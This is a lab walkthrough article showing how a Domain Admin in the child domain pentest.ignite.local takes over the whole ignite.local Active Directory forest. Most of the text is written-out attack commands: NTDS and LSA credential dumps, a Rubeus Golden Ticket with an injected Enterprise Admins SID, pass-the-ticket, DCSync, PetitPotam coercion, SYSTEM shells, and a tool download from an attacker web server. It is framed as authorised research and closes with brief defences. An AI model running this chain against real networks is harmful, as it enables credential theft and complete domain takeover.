This article walks through a complete forest compromise of an Active Directory environment, escalating from a single child domain all the way to the forest root. The engagement targets the ignite.local forest, which contains a dedicated child domain named pentest.ignite.local. Starting from a Domain Admin account in the child domain, the attacker confirms that this privilege does not directly reach the parent, enumerates the forest trust, extracts the child domain krbtgt hash, and forges a cross-domain Golden Ticket that injects the parent Enterprise Admins SID through SID History.
From there, the attacker weaponises the forged ticket: a pass-the-ticket attack unlocks the forest root domain controller, secrets are harvested from both Windows and Linux, the entire escalation is automated with a single NetExec module, and the forest finally falls through a full DCSync and an interactive SYSTEM shell. A second, independent path then reaches the same outcome by coercing the forest root into authenticating to an attacker-controlled child domain controller. Every action shown here was performed against an isolated, fully authorised laboratory built solely for security research and education.
Active Directory organises large environments into forests, and a forest can contain multiple domains arranged in a parent-child hierarchy. Administrators often assume that a child domain forms a strong security boundary. In reality, the security boundary in Active Directory is the forest, not the domain. Every domain in a forest is connected by an automatic, bidirectional, transitive trust, and SID filtering is intentionally relaxed for these intra-forest trusts so that universal groups and SID History flow freely between domains.
Attackers weaponise this design. A Golden Ticket is a Kerberos Ticket Granting Ticket forged with the krbtgt account hash of a domain; because it is signed with the very key the Key Distribution Center uses to validate tickets, the domain accepts it without question. Rubeus extends this primitive with the /sids parameter, which writes additional SIDs into the ExtraSids field of the ticket — the same field SID History uses. Placing the parent Enterprise Admins SID into that field turns a single child domain compromise into a complete forest takeover.
A forged ticket only becomes useful once it is presented to a service. Pass-the-ticket injects a Kerberos ticket directly into the current logon session, letting the attacker authenticate as the forged identity without ever knowing a password. The same outcome can also be reached without any krbtgt hash: domain controllers enable unconstrained delegation by default, so coercing the forest root into authenticating to an attacker-controlled child domain controller captures the parent machine account ticket, whose built-in replication rights are enough to dump the domain. This article demonstrates all of these techniques, in phases, against ignite.local.
The lab models a typical multi-domain forest. The forest root ignite.local hosts the Enterprise Admins group and runs on the domain controller DC, while a child domain pentest.ignite.local runs on a separate domain controller named CDC01. The attacker operates from Kali Linux and works toward, and then from, a Domain Admin account named raaz inside the child domain.

The engagement begins by standing up the child domain so the parent-child trust exists to attack, then planting a Domain Admin foothold inside it. Before promoting the new server, the network adapter must point at the forest DNS infrastructure, because Active Directory promotion relies entirely on DNS to locate the parent domain. The image below shows the IPv4 properties of the prospective child domain controller, resolving through the loopback address as its own future DNS service while delegating to the parent domain controller at 192.168.1.11 as the alternate server.

With DNS in place, the Add Roles and Features Wizard launches from Server Manager on the host named CDC01. The opening page restates the prerequisites — a strong administrator password, static networking, and current updates — before role selection begins.

On the role selection page, the attacker enables the Active Directory Domain Services role, which installs the binaries required to promote the machine into a domain controller, along with the supporting management tools.

Once the role finishes installing, Server Manager raises a post-deployment configuration notification. Clicking “Promote this server to a domain controller” launches the configuration wizard that joins the server to the forest.

In the Deployment Configuration step, the operation is set to “Add a new domain to an existing forest” with the domain type Child Domain. The parent domain is specified as ignite.local and the new child label as pentest, producing the fully qualified child domain pentest.ignite.local. Creating the child requires Enterprise Admin authority, so the credentials are switched to the ignite.local administrator using the Change button.

The Windows Security prompt collects the forest administrator credentials that authorise the new domain to join the existing forest.

The Domain Controller Options page sets the domain functional level and configures the server as a DNS server and Global Catalogue, and a Directory Services Restore Mode password is supplied to complete the promotion. After the wizard finishes and the server reboots, pentest.ignite.local exists as a live child domain joined to the ignite.local forest.

To model a realistic compromise, the attacker establishes a foothold account with Domain Admin rights inside the child domain. The following commands, run on the child domain controller, create a user named raaz and add that user to the child domain Domain Admins group. Both commands complete successfully, confirming that raaz now holds Domain Admin authority over pentest.ignite.local.
net user raaz Password@2 /add /domain net group "Domain Admins" "raaz" /add /domain

Being a Domain Admin in the child domain does not automatically grant access to the parent domain. To prove this boundary, the attacker connects to the child domain controller from Kali using Evil-WinRM as raaz, then attempts to read the administrative C$ share of the parent domain controller dc.ignite.local. The attempt is rejected with an access denied error, establishing that child domain privileges alone cannot reach the forest root — a result that later phases will overturn.
evil-winrm -i 192.168.1.9 -u raaz -p Password@2 dir \\dc.ignite.local\c$

Before escalating, the attacker maps the trust relationship between the child and parent domains. Its direction, type, and attributes determine whether a SID History attack is viable, so several tools confirm the same conclusion from different angles.
NetExec authenticates over LDAP as raaz and lists the domain controllers visible from the child domain. The output reveals the parent controller DC.ignite.local at 192.168.1.11 and labels the relationship as bidirectional and within the same forest — exactly the condition SID History abuse requires.
nxc ldap 192.168.1.9 -u raaz -p Password@2 --dc-list

PyWerView queries the trust object directly. The direction is bidirectional, the partner is ignite.local, the type is a standard Windows Active Directory trust, and the attributes mark it within_forest. That within-forest attribute is the critical detail, because it means SID filtering is not enforced and injected SIDs will be honored.
pywerview get-netdomaintrust -w pentest.ignite.local -u raaz -p 'Password@2' --dc-ip 192.168.1.9

The attacker opens an interactive SYSTEM shell on the child domain controller with Impacket’s psexec, then runs nltest to list trusted domains. The output identifies IGNITE (ignite.local) as the Forest Tree Root and PENTEST (pentest.ignite.local) as the primary domain, with the withinforest attribute again confirming the relationship.
impacket-psexec pentest.ignite.local/raaz:Password@[email protected] nltest /trusted_domains

Native PowerShell corroborates the finding without any external tooling. Querying the current domain for all trust relationships returns a single ParentChild trust between pentest.ignite.local and ignite.local with a bidirectional direction.
powershell ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

Finally, bloodyAD enumerates the trust from Kali and renders it as a tree, showing pentest.ignite.local linked to ignite.local through a WITHIN_FOREST trust. Five independent tools now agree the relationship is attackable.
bloodyAD --host 192.168.1.9 -d pentest.ignite.local -u raaz -p 'Password@2' get trusts

A cross-domain Golden Ticket needs three ingredients from the child domain side: the child krbtgt hash that signs the ticket, the child domain SID that anchors it, and the parent Enterprise Admins SID that will be injected through SID History.
Because raaz is Domain Admin in the child domain, the attacker dumps the child NTDS database remotely with NetExec. The krbtgt entry is the prize, since its hash signs every Kerberos ticket minted for pentest.ignite.local.
nxc smb 192.168.1.9 -u raaz -p Password@2 --ntds
The highlighted line exposes the child krbtgt RC4 hash 19a89a7d06f4b16d6ec891bb938268ee, which becomes the signing key for the forged ticket.

The attacker retrieves the SID of pentest.ignite.local with PowerShell. This value anchors the forged ticket to the child domain whose krbtgt key signs it.
(Get-ADDomain).DomainSID

Next, the attacker queries the parent domain controller dc.ignite.local for the Enterprise Admins group. This forest-level group controls every domain in the forest, and its SID, ending in the well-known relative identifier 519, is the SID that will be smuggled into the ticket.
Get-ADGroup -Identity "Enterprise Admins" -Server dc.ignite.local

With the child krbtgt hash and both SIDs in hand, the attacker assembles the cross-domain Golden Ticket using Rubeus on the child domain controller.
Rubeus is downloaded from the attacker’s web server onto the child domain controller and saved into the public directory. A directory listing confirms the executable landed successfully.
powershell wget http://192.168.1.17/Rubeus.exe -o Rubeus.exe dir

Rubeus now forges the ticket. The command signs a TGT for the child domain administrator using the child krbtgt hash and the child domain SID, while the /sids parameter injects the parent Enterprise Admins SID into the ticket’s ExtraSids field. This single flag is what crosses the trust boundary, because the within-forest trust honors the injected SID instead of filtering it out.
Rubeus.exe golden /rc4:19a89a7d06f4b16d6ec891bb938268ee /user:administrator /domain:pentest.ignite.local /sid:S-1-5-21-3430543386-541733547-1396883976 /sids:S-1-5-21-2964257136-1039789743-457275023-519 /outfile:ticket

Rubeus reports a successfully built TGT for [email protected] and explicitly lists the ExtraSIDs value as the parent Enterprise Admins SID, proving the SID History injection succeeded. The resulting ticket is written to disk, ready to be weaponized in the next phase.

With the ticket forged, the attacker loads it into memory on the child domain controller. Rubeus imports the ticket with the ptt action, and klist confirms a single cached ticket issued to an administrator at PENTEST.IGNITE.LOCAL. With the ticket in place, listing the administrative C$ share of the parent domain controller now succeeds and reveals the forest root file system — the exact action that failed in Phase 2 now completes, proving the SID History injection works end to end.
Rubeus.exe ptt /ticket:ticket_2026_04_15_13_19_28_administrator_to_krbtgt@PENTEST.IGNITE.LOCAL klist dir \\dc.ignite.local\c$

The same ticket works just as well from Kali. The attacker decodes the base64 ticket back into kirbi format, converts it to the ccache format Impacket and NetExec understand, and exports it through the KRB5CCNAME variable. NetExec then authenticates to the forest root with Kerberos and dumps the Local Security Authority secrets, exposing the IGNITE\DC$ machine account hash, a cached administrator credential, and the DPAPI machine and user keys — high-value material harvested straight from the forest root.
cat ticket.b64 | base64 -d > ticket.kirbi impacket-ticketConverter ticket.kirbi ticket.ccache export KRB5CCNAME=ticket.ccache nxc smb 192.168.1.11 dc.ignite.local -k --use-kcache --lsa

Everything performed manually in Phases 4 and 5 can be condensed into a single command. NetExec’s raisechild module chains the entire child-to-parent attack end to end.
Running raisechild against the child domain controller as raaz, NetExec automatically gathers the child domain SID, resolves the parent domain and its SID, extracts the child krbtgt hash, forges the cross-domain Golden Ticket, and saves the result to Administrator.ccache. The module finishes by printing the export command needed to use the ticket.
nxc ldap 192.168.1.9 -u raaz -p Password@2 -M raisechild

Exporting the freshly generated ccache and pointing NetExec at the forest root confirms the automated ticket carries the same power as the hand-built one. NetExec authenticates as PENTEST.IGNITE.LOCAL\Administrator and again dumps the parent domain LSA secrets, including the DC machine account hash and DPAPI keys.
export KRB5CCNAME=Administrator.ccache nxc smb 192.168.1.11 dc.ignite.local -k --use-kcache –lsa

With Enterprise Admin access established, the attacker extracts every credential in the forest root and proves arbitrary code execution on it.
Impacket’s secretsdump uses the Kerberos ticket to perform a DCSync against ignite.local, abusing the directory replication protocol to pull NTDS.DIT secrets without touching disk. The dump returns the NT hash of every account in the parent domain, including the Administrator, the parent krbtgt, and all domain users — a complete and persistent compromise of the forest root.
impacket-secretsdump -k -no-pass dc.ignite.local -just-dc

To demonstrate full control, the attacker opens an interactive shell on the forest root with Impacket’s psexec using only the Kerberos ticket. The shell runs as SYSTEM, and the hostname command returns DC, confirming code execution on the forest root domain controller itself.
impacket-psexec -k -no-pass dc.ignite.local hostname

The forest can also fall without ever forging a ticket. Domain controllers enable unconstrained delegation by default, so any account that authenticates to one leaves a reusable Kerberos ticket in its memory. By coercing the forest root domain controller into authenticating to the attacker-controlled child domain controller, the attacker captures the parent machine account ticket and reuses its replication rights.
First, the attacker opens a shell on the child domain controller as raaz and probes the named pipes exposed by the forest root. Listing the spool’s pipe over the dc host confirms the Print Spooler service is reachable, signalling that a coercion trigger is available against the parent domain controller.
impacket-psexec pentest.ignite.local/raaz:Password@[email protected] cd / cd Users/Public powershell ls \\dc\pipe\spoolss

On the child domain controller, Rubeus enters monitor mode and watches for new Ticket Granting Tickets every five seconds, filtering specifically for the DC$ machine account. When the coerced authentication arrives, Rubeus will capture the parent domain controller’s ticket from memory.
Rubeus.exe monitor /interval:5 /filteruser:DC$ /nowrap

From Kali, the attacker triggers the coercion with PetitPotam, abusing the MS-EFSRPC EfsRpcOpenFileRaw method. Authenticated as raaz, PetitPotam forces dc.ignite.local to connect back to cdc01.pentest.ignite.local. The expected ERROR_BAD_NETPATH response followed by “Attack worked!” confirms the forest root was successfully coerced into authenticating to the attacker-controlled child domain controller.
python PetitPotam.py -u raaz -p Password@2 -d pentest.ignite.local cdc01.pentest.ignite.local dc.ignite.local

Back in the Rubeus monitor session, the coerced authentication surfaces as a new TGT for [email protected], complete with a base64-encoded ticket. The attacker has now captured the forest root domain controller’s own machine account ticket.

The captured kirbi ticket is converted into ccache format so Impacket can consume it.
impacket-ticketConverter newticket.kirbi newticket.ccache

Finally, the attacker exports the converted ticket and runs secretsdump. Because the DC$ machine account holds directory replication rights, the captured ticket authorizes a full DCSync of ignite.local. The entire NTDS.DIT spills once more — this time without any Golden Ticket, proving that coercion alone delivers complete forest compromise.
export KRB5CCNAME=newticket.ccache impacket-secretsdump -k -no-pass dc.ignite.local -just-dc

Defending against these attacks requires treating the forest, not the domain, as the true security boundary, hardening Kerberos, restricting delegation, and removing the coercion triggers that fuel capture and relay attacks.
This walkthrough showed how a single child domain compromise collapses an entire Active Directory forest. After seizing Domain Admin in pentest.ignite.local, the attacker confirmed that child privileges could not directly reach the parent, enumerated a bidirectional within-forest trust with five independent tools, extracted the child krbtgt hash, and forged a Golden Ticket carrying the parent Enterprise Admins SID through SID History. Passing that ticket unlocked the forest root, where a full DCSync and a SYSTEM shell sealed total ownership — and a separate coercion path reached the same result without any forged ticket at all.
The decisive lesson is unambiguous: in Active Directory the domain is not a security boundary — the forest is. Organizations that separate sensitive assets into child domains while assuming isolation are exposed to exactly this escalation. Hardening the krbtgt key, enforcing SID filtering where possible, eliminating unnecessary delegation, removing coercion triggers, and protecting every domain controller as tier-zero infrastructure are the controls that break this chain before it reaches the forest root.